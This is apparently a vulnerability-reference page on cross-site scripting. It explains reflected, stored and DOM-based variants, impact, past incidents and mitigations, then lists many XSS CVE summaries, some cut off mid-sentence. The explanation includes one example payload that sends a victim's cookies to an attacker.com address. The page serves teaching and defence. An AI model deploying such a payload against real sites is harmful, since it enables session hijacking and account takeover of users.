Skip to main content

Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39320)

EPSS 0% CVSS 6.1
MEDIUM This Month

In F5 BIG-IP APM 12.0.0 through 12.1.2, non-authenticated users may be able to inject JavaScript into a request that will then be rendered and executed in the context of the Administrative user when. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Big Ip Access Policy Manager
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Nextcloud Server before 9.0.58 and 10.0.5 and 11.0.3 are shipping a vulnerable JavaScript library for sanitizing untrusted user-input which suffered from a XSS vulnerability caused by a behaviour. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Apple Nextcloud +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Nextcloud Server before 9.0.58 and 10.0.5 and 11.0.3 are vulnerable to an inadequate escaping of error messages leading to XSS vulnerabilities in multiple components. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Nextcloud Nextcloud Server
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Nextcloud Server before 11.0.3 is vulnerable to an inadequate escaping leading to a XSS vulnerability in the search module. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Nextcloud Nextcloud Server
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Zen Cart 1.6.0 has XSS in the main_page parameter to index.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Zen Cart
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Allen Disk 1.6 has XSS in the id parameter to downfile.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS PHP Allen Disk
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

A Cross-Site Scripting issue was discovered in Certec EDV GmbH atvise scada prior to Version 3.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS RCE Atvise Scada
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Trend Micro OfficeScan 11.0 before SP1 CP 6325 (with Agent Module Build before 6152) and XG before CP 1352 has XSS via a crafted URI using a blocked website. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Trend Micro Officescan
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

IBM Marketing Platform 9.1 and 10.0 is vulnerable to stored cross-site scripting, caused by improper validation of user-supplied input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Marketing Platform
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

An issue was discovered on Accellion FTA devices before FTA_9_12_180. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS File Transfer Appliance
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

An issue was discovered on Accellion FTA devices before FTA_9_12_180. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS File Transfer Appliance
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

An issue was discovered on Accellion FTA devices before FTA_9_12_180. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS File Transfer Appliance
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

An issue was discovered on Accellion FTA devices before FTA_9_12_180. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS File Transfer Appliance
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

GitLab before 8.14.9, 8.15.x before 8.15.6, and 8.16.x before 8.16.5 has XSS via a SCRIPT element in an issue attachment or avatar that is an SVG document. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Gitlab
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

GeniXCMS 1.0.2 has XSS triggered by a comment that is mishandled during a publish operation by an administrator, as demonstrated by a malformed P element. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Genixcms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in modules/Base/Box/check_for_new_version.php in EPESI in Telaxus/EPESI 1.8.2 and earlier allows remote attackers to inject arbitrary web script or HTML via a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Epesi
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

GeniXCMS 1.0.2 has XSS triggered by an authenticated user who submits a page, as demonstrated by a crafted oncut attribute in a B element. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Genixcms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Multiple cross-site scripting (XSS) vulnerabilities in Proxmox Mail Gateway prior to hotfix 4.0-8-097d26a9 allow remote attackers to inject arbitrary web script or HTML via multiple parameters,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Proxmox Mail Gateway
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Novell iManager 2.7.x before 2.7 SP7 Patch 10 HF1 and NetIQ iManager 3.x before 3.0.3.1 have a persistent XSS vulnerability in Framework. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Imanager
NVD
EPSS 0% CVSS 6.5
MEDIUM PATCH This Month

Kerio Connect 8.0.0 through 9.2.2, and Kerio Connect Client desktop application for Windows and Mac 9.2.0 through 9.2.2, when e-mail preview is enabled, allows remote attackers to conduct. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Microsoft Kerio Connect +1
NVD
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

GeniXCMS 1.0.2 has XSS triggered by an authenticated comment that is mishandled during a mouse operation by an administrator. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Genixcms
NVD GitHub
EPSS 25% CVSS 6.1
MEDIUM POC THREAT This Month

An issue was discovered in KMCIS CaseAware. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and EPSS exploitation probability 25.3%.

XSS PHP Caseaware
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Craft CMS before 2.6.2976 allows XSS attacks because an array returned by HttpRequestService::getSegments() and getActionSegments() need not be zero-based. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Craft Cms
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in Booking Calendar version 7.1 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Booking Calendar
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Cross-site scripting vulnerability in WN-AC1167GR firmware version 1.04 and earlier allows remote authenticated attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Wn Ac1167Gr Firmware
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in WP Statistics version 12.0.4 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Wp Statistics
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in WP Statistics version 12.0.4 and earlier allows remote attackers to inject arbitrary web script or HTML via specially crafted HTTP Referer headers. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Wp Statistics
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in WP Statistics version 12.0.1 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Wp Statistics
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in ASSETBASE 8.0 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Assetbase
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Cross-site scripting vulnerability in YOP Poll versions prior to 5.8.1 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Yop Poll
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting vulnerability in OneThird CMS v1.73 Heaven's Door and earlier allows remote attackers to inject arbitrary web script or HTML via contact.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS PHP Onethird Cms
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting vulnerability in OneThird CMS v1.73 Heaven's Door and earlier allows remote attackers to inject arbitrary web script or HTML via language.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS PHP Onethird Cms
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting vulnerability in WBCE CMS 1.1.10 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Wbce Cms
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Cross-site scripting vulnerability in Cybozu Office 10.0.0 to 10.5.0 allows remote authenticated attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Microsoft Office
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Multiple cross-site scripting vulnerabilities in Webmin versions prior to 1.830 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Webmin
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Cross-site scripting vulnerability in Cybozu Garoon 3.0.0 to 4.2.3 allows remote authenticated attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Garoon
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in Olive Diary DX allows remote attackers to inject arbitrary web script or HTML via the page parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Olive Diary Dx
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in WEB SCHEDULE allows remote attackers to inject arbitrary web script or HTML via the month parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Olive Blog
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in Olive Blog allows remote attackers to inject arbitrary web script or HTML via the search parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Olive Blog
NVD
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Mura CMS 7.0.6967 allows admin/?muraAction= XSS attacks, related to admin/core/views/carch/list.cfm, admin/core/views/carch/loadsiteflat.cfm, admin/core/views/cusers/inc/dsp_nextn.cfm,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Muracms
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

cnvs.io Canvas 3.3.0 has XSS in the title and content fields of a "Posts > Add New" action, and during creation of new tags and users. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Canvas
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Adobe ColdFusion 2016 Update 3 and earlier, ColdFusion 11 update 11 and earlier, ColdFusion 10 Update 22 and earlier have a reflected cross-site scripting vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Adobe Coldfusion
NVD
EPSS 6% CVSS 6.1
MEDIUM PATCH This Month

The HDFS web UI in Apache Hadoop before 2.7.0 is vulnerable to a cross-site scripting (XSS) attack through an unescaped query parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Apache Hadoop
NVD
EPSS 0% CVSS 5.6
MEDIUM This Month

IBM Maximo Asset Management 7.1, 7.5 and 7.6 could allow a remote attacker to hijack a user's session, caused by the failure to invalidate an existing session identifier. Rated medium severity (CVSS 5.6), this vulnerability is remotely exploitable, no authentication required. No vendor patch available.

XSS IBM Maximo Asset Management
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

In Joomla!. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Joomla
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

In Joomla!. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Joomla
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

In Joomla!. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Joomla
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

In Joomla!. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Joomla
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

XSS Auditor in Google Chrome prior to 57.0.2987.98 for Mac, Windows, and Linux and 57.0.2987.108 for Android allowed detection of a blocked iframe load, which allowed a remote attacker to brute force. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Microsoft Google +5
NVD
EPSS 2% CVSS 7.1
HIGH This Week

Vulnerability in the Oracle One-to-One Fulfillment component of Oracle E-Business Suite (subcomponent: Print Server). Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Authentication Bypass Oracle +1
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

In MyBB before 1.8.11, the Email MyCode component allows XSS, as demonstrated by an onmouseover event. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Mybb
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Stored XSS in Serendipity v2.1-rc1 allows an attacker to steal an admin's cookie and other information by composing a new entry as an editor user. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Serendipity
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

XSS exists in Easy WP SMTP (before 1.2.5), a WordPress Plugin, via the e-mail subject or body. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Easy Wp Smtp
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

An XSS vulnerability on the /NAGErrors URI in NetIQ Access Manager 4.2 and 4.3 exists because Access Gateway Error pages do not validate the HTTP Referer header. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Access Manager
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

In Exponent CMS before 2.4.1 Patch #5, XSS in elFinder is possible in framework/modules/file/connector/elfinder.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS PHP Exponent Cms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

XOOPS Core 2.5.8.1 has XSS due to unescaped HTML output of an Install DB failure error message in page_dbsettings.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS PHP Xoops
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Craft CMS before 2.6.2974 allows XSS attacks. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Craft Cms
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the "Shares" overview in Openstack Manila before 2.5.1 allows remote authenticated users to inject arbitrary web script or HTML via the Metadata field in. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

XSS Openstack Manila
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Heartland Payment Systems Payment Gateway PHP SDK hps/heartland-php v2.8.17 is vulnerable to a reflected XSS in examples/consumer-authentication/cruise.php via the URI, as demonstrated by the cavv. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS PHP Heartland Php
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Palo Alto Networks PAN-OS before 7.0.15 has XSS in the GlobalProtect external interface via crafted request parameters, aka PAN-SA-2017-0011 and PAN-70674. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Paloalto Pan Os
NVD
EPSS 0% CVSS 8.8
HIGH POC PATCH This Week

The Reporting Module 1.12.0 for OpenMRS allows CSRF attacks with resultant XSS, in which administrative authentication is hijacked to insert JavaScript into a name field in. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS CSRF Openmrs Module Reporting
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

A vulnerability in the web-based GUI of Cisco Integrated Management Controller (IMC) 3.0(1c) could allow an authenticated, remote attacker to perform a cross-site scripting (XSS) attack. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS RCE Cisco +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability in the web framework code of Cisco Prime Infrastructure 2.2(2) could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against the user of the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cisco Prime Infrastructure
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Curam Social Program Management 5.2, 6.0, and 7.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Curam Social Program Management
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Curam Social Program Management 5.2, 6.0, and 7.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Curam Social Program Management
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

NetIQ Access Manager 4.2.2 and 4.3.x before 4.3.1+, when configured as an Identity Server, has XSS in the AssertionConsumerServiceURL field of a signed AuthnRequest in a samlp:AuthnRequest document. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Access Manager
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the "Check available times" function in Cybozu Garoon before 4.2.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Garoon
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the "New appointment" function in Cybozu Garoon before 4.2.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Garoon
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the "User details" function in Cybozu Garoon before 4.2.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Garoon
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the "Response request" function in Cybozu Garoon before 4.2.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Garoon
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the default exception handler in RESTEasy allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Resteasy
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Parser::replaceInternalLinks2 method in MediaWiki before 1.23.15, 1.26.x before 1.26.4, and 1.27.x before 1.27.1 allows remote attackers to inject. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Mediawiki
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the CSS user subpage preview feature in MediaWiki before 1.23.15, 1.26.x before 1.26.4, and 1.27.x before 1.27.1 allows remote attackers to inject. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Mediawiki
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in Novell GroupWise before 2014 R2 Service Pack 1 Hot Patch 1 allows remote attackers to inject arbitrary web script or HTML via a crafted email. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Groupwise
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in the administrator console in Novell GroupWise before 2014 R2 Service Pack 1 Hot Patch 1 allow remote attackers to inject arbitrary web script or. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Groupwise
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Multiple cross-site scripting (XSS) vulnerabilities in Geeklog IVYWE edition 2.1.1 allow remote attackers to inject arbitrary web script or HTML by leveraging use of the COM_getCurrentURL function in. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Geeklog
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in site/search.php in OSSEC Web UI before 0.9 allows remote attackers to inject arbitrary web script or HTML by leveraging an unanchored regex. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS PHP Web Ui
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

A cross-site scripting (XSS) vulnerability in the MantisBT (2.3.x before 2.3.2) Timeline include page, used in My View (my_view_page.php) and User Information (view_user_page.php) pages, allows. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS RCE PHP +1
NVD GitHub
EPSS 53% 4.3 CVSS 6.1
MEDIUM POC PATCH THREAT This Month

Trend Micro InterScan Messaging Security Virtual Appliance (IMSVA) 9.1 before CP 1644 has XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and EPSS exploitation probability 53.3%.

XSS Trend Micro Interscan Messaging Security Virtual Appliance
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Financial Transaction Manager for ACH Services for Multi-Platform 3.0.0.x is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Financial Transaction Manager
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Cognos TM1 10.1 and 10.2 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Cognos Business Intelligence
NVD
EPSS 7% CVSS 6.1
MEDIUM POC This Month

Multiple cross-site scripting (XSS) vulnerabilities in Axis network cameras. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Network Camera Firmware
NVD Exploit-DB
EPSS 0% CVSS 5.4
MEDIUM This Month

